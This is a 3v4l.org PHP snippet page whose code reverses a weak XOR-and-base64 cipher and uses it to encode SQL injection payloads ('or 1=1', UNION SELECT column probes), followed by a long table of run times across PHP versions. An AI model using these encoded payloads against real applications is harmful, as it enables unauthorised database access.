3v4l.org

run code in 300+ PHP versions simultaneously
<?php function decrypt ($str) { if(preg_match('%^[a-zA-Z0-9/+]*={0,2}$%',$str)) { $str = base64_decode($str); if ($str != "" && $str != null && $str != false) { $decStr = ""; for ($i=0; $i < strlen($str); $i+=3) { $array[$i/3] = substr($str,$i,3); } foreach($array as $s) { $a = $s^192; $decStr .= chr($a); } return $decStr; } return false; } return false; } echo decrypt("MTI5MTY0MTczMTY5MTc0"); print "\n"; function encrypt($str) { $cryptedstr = ""; for ($i =0; $i < strlen($str); $i++) { $temp = ord(substr($str,$i,1)) ^ 192; while(strlen($temp)<3) { $temp = "0".$temp; } $cryptedstr .= $temp. ""; } return base64_encode($cryptedstr); } echo encrypt("Admin or 1=1 #"); print "\n"; print "\n"; echo encrypt("Admin UNION SELECT 1,2,3,4 #"); print "\n"; print "\n"; echo encrypt("Admin UNION SELECT 1,2,3,4,5 #"); print "\n"; print "\n"; echo encrypt("Admin UNION SELECT 1,2,3,4,5,6 #"); print "\n"; print "\n"; echo encrypt("Admin UNION SELECT 1,2,3,4,5,6,7 #"); print "\n"; print "\n"; echo encrypt("Admin UNION SELECT 1,2,3,4,5,6,7,8 #"); print "\n"; print "\n"; #$handle = opendir('/'); #while (($file = readdir($handle)) !== false) # print $file. "\n"; #closedir($handle); ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0040.01116.73
8.3.50.0130.00722.13
8.3.40.0070.01118.95
8.3.30.0110.00419.09
8.3.20.0050.00220.16
8.3.10.0050.00223.56
8.3.00.0040.00419.20
8.2.180.0070.00716.75
8.2.170.0030.01222.96
8.2.160.0100.00320.39
8.2.150.0080.00024.18
8.2.140.0040.00424.66
8.2.130.0080.00026.16
8.2.120.0060.00320.88
8.2.110.0060.00320.43
8.2.100.0120.00017.97
8.2.90.0060.00319.21
8.2.80.0080.00017.97
8.2.70.0060.00317.84
8.2.60.0030.00618.16
8.2.50.0030.00618.07
8.2.40.0090.00020.07
8.2.30.0000.00718.44
8.2.20.0030.00517.93
8.2.10.0050.00318.04
8.2.00.0000.00918.00
8.1.280.0130.00925.92
8.1.270.0040.00423.70
8.1.260.0040.00426.35
8.1.250.0070.00028.09
8.1.240.0090.00023.97
8.1.230.0080.00417.58
8.1.220.0030.00617.79
8.1.210.0050.00818.77
8.1.200.0030.00617.60
8.1.190.0000.00917.60
8.1.180.0080.00018.10
8.1.170.0050.00518.71
8.1.160.0040.00422.12
8.1.150.0070.00018.74
8.1.140.0070.00017.63
8.1.130.0030.00317.88
8.1.120.0080.00017.59
8.1.110.0040.00717.57
8.1.100.0040.00417.61
8.1.90.0040.00417.66
8.1.80.0000.00717.72
8.1.70.0070.00017.59
8.1.60.0030.00517.75
8.1.50.0000.00817.68
8.1.40.0000.00917.55
8.1.30.0000.00817.79
8.1.20.0000.00817.82
8.1.10.0060.00317.79
8.1.00.0000.00817.66
8.0.300.0000.00818.77
8.0.290.0050.00316.74
8.0.280.0070.00018.44
8.0.270.0000.00717.21
8.0.260.0030.00317.35
8.0.250.0070.00017.07
8.0.240.0040.00417.07
8.0.230.0070.00017.08
8.0.220.0040.00417.06
8.0.210.0030.00617.09
8.0.200.0000.00717.20
8.0.190.0090.00017.02
8.0.180.0000.00817.15
8.0.170.0030.00617.14
8.0.160.0000.00717.04
8.0.150.0000.00816.97
8.0.140.0040.00416.90
8.0.130.0030.00313.48
8.0.120.0000.00817.06
8.0.110.0040.00417.07
8.0.100.0030.00517.13
8.0.90.0040.00416.97
8.0.80.0070.00717.13
8.0.70.0050.00316.99
8.0.60.0000.00816.94
8.0.50.0040.00417.11
8.0.30.0130.00617.16
8.0.20.0120.00817.40
8.0.10.0040.00417.23
8.0.00.0090.00816.95
7.4.330.0000.00615.02
7.4.320.0070.00016.68
7.4.300.0000.00616.79
7.4.290.0000.00816.70
7.4.280.0060.00316.87
7.4.270.0040.00416.77
7.4.260.0000.00716.83
7.4.250.0040.00416.87
7.4.240.0000.00716.79
7.4.230.0050.00316.81
7.4.220.0060.01216.77
7.4.210.0040.01016.77
7.4.200.0050.00316.68
7.4.190.0000.00716.66
7.4.160.0130.00316.65
7.4.150.0170.00317.40
7.4.140.0080.00917.86
7.4.130.0130.00516.76
7.4.120.0050.01416.74
7.4.110.0070.01016.51
7.4.100.0110.00716.88
7.4.90.0060.01616.94
7.4.80.0070.01319.39
7.4.70.0170.00016.59
7.4.60.0070.01116.55
7.4.50.0000.00416.53
7.4.40.0080.00816.74
7.4.30.0130.01016.61
7.4.10.0100.01015.27
7.4.00.0090.00715.11
7.3.330.0000.00713.32
7.3.320.0000.00513.55
7.3.310.0050.00216.38
7.3.300.0070.00016.43
7.3.290.0040.01116.53
7.3.280.0090.00816.54
7.3.270.0090.00917.40
7.3.260.0130.00616.50
7.3.250.0140.00716.70
7.3.240.0060.01216.63
7.3.230.0130.00316.54
7.3.210.0060.01216.73
7.3.200.0110.01419.39
7.3.190.0060.01616.70
7.3.180.0150.00616.51
7.3.170.0100.00716.74
7.3.160.0040.01316.47
7.3.130.0090.00914.98
7.3.120.0030.01315.05
7.3.110.0030.01415.05
7.3.100.0070.00715.12
7.3.90.0060.00815.30
7.3.80.0000.01215.00
7.3.70.0090.00315.15
7.3.60.0000.01415.05
7.3.50.0000.01315.16
7.3.40.0080.00814.37
7.3.30.0070.01015.19
7.3.20.0090.00616.91
7.3.10.0060.00616.90
7.3.00.0070.00716.72
7.2.330.0150.00816.93
7.2.320.0040.01416.98
7.2.310.0090.00916.96
7.2.300.0140.00316.71
7.2.290.0150.00916.93
7.2.260.0140.00715.41
7.2.250.0060.01315.14
7.2.240.0070.01015.40
7.2.230.0030.01215.46
7.2.220.0090.00615.18
7.2.210.0000.01215.16
7.2.200.0080.00815.26
7.2.190.0040.01115.30
7.2.180.0060.00615.04
7.2.170.0040.01115.31
7.2.160.0040.01115.29
7.2.150.0030.01217.18
7.2.140.0120.00016.95
7.2.130.0090.00517.12
7.2.120.0050.01017.13
7.2.110.0040.01017.06
7.2.100.0090.00417.14
7.2.90.0110.00517.13
7.2.80.0120.00316.96
7.2.70.0060.00717.13
7.2.60.0060.00817.18
7.2.50.0050.00717.02
7.2.40.0030.01417.21
7.2.30.0080.00817.07
7.2.20.0060.00717.15
7.2.10.0100.00617.10
7.2.00.0040.00818.06
7.1.330.0030.01316.18
7.1.320.0060.00616.17
7.1.310.0030.01016.12
7.1.300.0090.00716.05
7.1.290.0030.01016.03
7.1.280.0150.00016.14
7.1.270.0040.00715.89
7.1.260.0000.01215.65
7.1.250.0050.01115.96
7.1.240.0090.00615.93
7.1.230.0000.01216.00
7.1.220.0050.00516.05
7.1.210.0110.00015.77
7.1.200.0070.01016.11
7.1.190.0040.01115.94
7.1.180.0060.00616.09
7.1.170.0000.01415.97
7.1.160.0050.00516.07
7.1.150.0060.01215.95
7.1.140.0040.01115.97
7.1.130.0000.01416.04
7.1.120.0000.01315.92
7.1.110.0130.00015.90
7.1.100.0060.00517.24
7.1.90.0000.01216.12
7.1.80.0140.00315.80
7.1.70.0070.00416.72
7.1.60.0110.00917.67
7.1.50.0050.01416.59
7.1.40.0080.00316.16
7.1.30.0030.01415.88
7.1.20.0030.01016.07
7.1.10.0030.01015.96
7.1.00.0070.03819.29
7.0.330.0030.00915.84
7.0.320.0080.00415.59
7.0.310.0040.00715.46
7.0.300.0000.01315.44
7.0.290.0120.00315.72
7.0.280.0030.01415.32
7.0.270.0030.00615.35
7.0.260.0070.00715.75
7.0.250.0030.00915.52
7.0.240.0000.01315.20
7.0.230.0070.00715.37
7.0.220.0040.00815.45
7.0.210.0030.00915.57
7.0.200.0050.00716.19
7.0.190.0080.00615.79
7.0.180.0030.00715.73
7.0.170.0000.01415.76
7.0.160.0080.00415.70
7.0.150.0030.00615.63
7.0.140.0050.04018.74
7.0.130.0040.01115.73
7.0.120.0040.01115.81
7.0.110.0000.01315.38
7.0.100.0000.00915.61
7.0.90.0000.01415.54
7.0.80.0040.00715.35
7.0.70.0060.00915.63
7.0.60.0110.03317.61
7.0.50.0050.03816.88
7.0.40.0080.04215.82
7.0.30.0100.04215.88
7.0.20.0100.04515.56
7.0.10.0050.04115.67
7.0.00.0070.04015.68
5.6.400.0030.01014.82
5.6.390.0000.01214.46
5.6.380.0060.01114.48
5.6.370.0030.00914.48
5.6.360.0000.01414.68
5.6.350.0030.01014.82
5.6.340.0070.00714.94
5.6.330.0000.01114.52
5.6.320.0000.01514.53
5.6.310.0030.00614.20
5.6.300.0030.00914.77
5.6.290.0070.01014.06
5.6.280.0050.04217.73
5.6.270.0030.01314.43
5.6.260.0040.00814.95
5.6.250.0030.00614.43
5.6.240.0040.01114.53
5.6.230.0100.00314.75
5.6.220.0100.00714.65
5.6.210.0120.03917.52
5.6.200.0070.04416.43
5.6.190.0150.04016.53
5.6.180.0100.03816.29
5.6.170.0050.03516.28
5.6.160.0040.03116.42
5.6.150.0070.02316.34
5.6.140.0070.04416.44
5.6.130.0050.04316.54
5.6.120.0020.04716.39
5.6.110.0110.03516.39
5.6.100.0050.04016.30
5.6.90.0090.04216.18
5.6.80.0030.03515.94
5.6.70.0070.02916.11
5.6.60.0030.04415.97
5.6.50.0090.04216.03
5.6.40.0040.04415.87
5.6.30.0080.04016.11
5.6.20.0080.02516.01
5.6.10.0030.03216.03
5.6.00.0050.03015.85
5.5.380.0030.01314.60
5.5.370.0070.00714.81
5.5.360.0110.00714.89
5.5.350.0070.04617.54
5.5.340.0030.02716.25
5.5.330.0050.04316.24
5.5.320.0090.03016.28
5.5.310.0070.04216.32
5.5.300.0030.04616.36
5.5.290.0070.02216.21
5.5.280.0050.04816.16
5.5.270.0050.02916.40
5.5.260.0070.02716.23
5.5.250.0080.03616.25
5.5.240.0050.02815.96
5.5.230.0080.04115.86
5.5.220.0070.04015.97
5.5.210.0110.01815.80
5.5.200.0050.04515.96
5.5.190.0070.03815.74
5.5.180.0030.04515.91
5.5.170.0060.00914.29
5.5.160.0070.03415.93
5.5.150.0050.04515.72
5.5.140.0080.03915.93
5.5.130.0080.04415.75
5.5.120.0080.04315.81
5.5.110.0050.03815.69
5.5.100.0070.03615.84
5.5.90.0050.03115.86
5.5.80.0080.04215.80
5.5.70.0110.03315.81
5.5.60.0060.04415.88
5.5.50.0030.02515.81
5.5.40.0030.02315.65
5.5.30.0020.02815.90
5.5.20.0070.02115.65
5.5.10.0030.02215.74
5.5.00.0070.02015.76
5.4.450.0060.03515.43
5.4.440.0030.04415.26
5.4.430.0030.02415.35
5.4.420.0020.05115.20
5.4.410.0070.04315.35
5.4.400.0070.04315.27
5.4.390.0070.02315.16
5.4.380.0050.03015.00
5.4.370.0070.04015.32
5.4.360.0050.03014.98
5.4.350.0020.03615.20
5.4.340.0000.03415.19
5.4.330.0040.00411.62
5.4.320.0120.03515.07
5.4.310.0030.03015.29
5.4.300.0000.04415.30
5.4.290.0020.02915.10
5.4.280.0030.03315.26
5.4.270.0040.04215.25
5.4.260.0130.03715.19
5.4.250.0060.04415.00
5.4.240.0050.04415.06
5.4.230.0090.03715.08
5.4.220.0030.03015.22
5.4.210.0060.02815.16
5.4.200.0090.01915.05
5.4.190.0050.02515.03
5.4.180.0120.01915.18
5.4.170.0030.02015.02
5.4.160.0030.02415.15
5.4.150.0030.02515.19
5.4.140.0010.02613.84
5.4.130.0040.02413.85
5.4.120.0050.01813.83
5.4.110.0020.02414.01
5.4.100.0070.01813.86
5.4.90.0040.01913.62
5.4.80.0040.01913.84
5.4.70.0020.02213.96
5.4.60.0030.02213.82
5.4.50.0060.01713.89
5.4.40.0000.02613.92
5.4.30.0030.02013.76
5.4.20.0030.02013.75
5.4.10.0070.01813.82
5.4.00.0050.01813.44
5.3.290.0050.04312.60
5.3.280.0080.03212.62
5.3.270.0030.02512.71
5.3.260.0050.02012.63
5.3.250.0030.02212.72
5.3.240.0030.02312.63
5.3.230.0010.02412.60
5.3.220.0030.02412.51
5.3.210.0030.02312.52
5.3.200.0020.02412.59
5.3.190.0030.02012.64
5.3.180.0080.01812.70
5.3.170.0050.02512.62
5.3.160.0020.02212.71
5.3.150.0030.02312.72
5.3.140.0000.02512.72
5.3.130.0090.01712.57
5.3.120.0010.02312.73
5.3.110.0130.01812.60
5.3.100.0050.01812.31
5.3.90.0030.02012.41
5.3.80.0020.02112.25
5.3.70.0010.02312.32
5.3.60.0050.02012.27
5.3.50.0030.02012.21
5.3.40.0050.01812.32
5.3.30.0030.02412.20
5.3.20.0040.01812.07
5.3.10.0020.03111.94
5.3.00.0070.02612.07
5.2.170.0030.03011.14
5.2.160.0000.03311.00
5.2.150.0000.03711.05
5.2.140.0000.03011.18
5.2.130.0000.03011.16
5.2.120.0030.03311.17
5.2.110.0030.04311.15
5.2.100.0070.03711.09
5.2.90.0070.06011.12
5.2.80.0000.03711.10
5.2.70.0030.03311.14
5.2.60.0100.05311.05
5.2.50.0070.05011.02
5.2.40.0100.03711.06
5.2.30.0000.06011.02
5.2.20.0100.02710.84
5.2.10.0030.06310.93
5.2.00.0030.05710.68
5.1.60.0130.05010.00
5.1.50.0000.0539.97
5.1.40.0000.05710.08
5.1.30.0070.05310.41
5.1.20.0100.05010.38
5.1.10.0100.04710.15
5.1.00.0070.03710.12
5.0.50.0000.0438.56
5.0.40.0070.0378.52
5.0.30.0030.0678.24
5.0.20.0000.0438.05
5.0.10.0070.0208.26
5.0.00.0100.0278.18
4.4.90.0000.0377.90
4.4.80.0030.0377.90
4.4.70.0000.0377.90
4.4.60.0030.0337.90
4.4.50.0030.0377.90
4.4.40.0000.0477.90
4.4.30.0030.0377.90
4.4.20.0000.0377.90
4.4.10.0100.0337.90
4.4.00.0030.0507.90
4.3.110.0030.0377.90
4.3.100.0030.0337.90
4.3.90.0030.0237.90
4.3.80.0000.0537.90
4.3.70.0100.0137.90
4.3.60.0030.0337.90
4.3.50.0030.0377.90
4.3.40.0100.0477.90
4.3.30.0030.0277.90
4.3.20.0000.0277.90
4.3.10.0000.0337.90
4.3.00.0070.0307.90

preferences:
44.3 ms | 401 KiB | 5 Q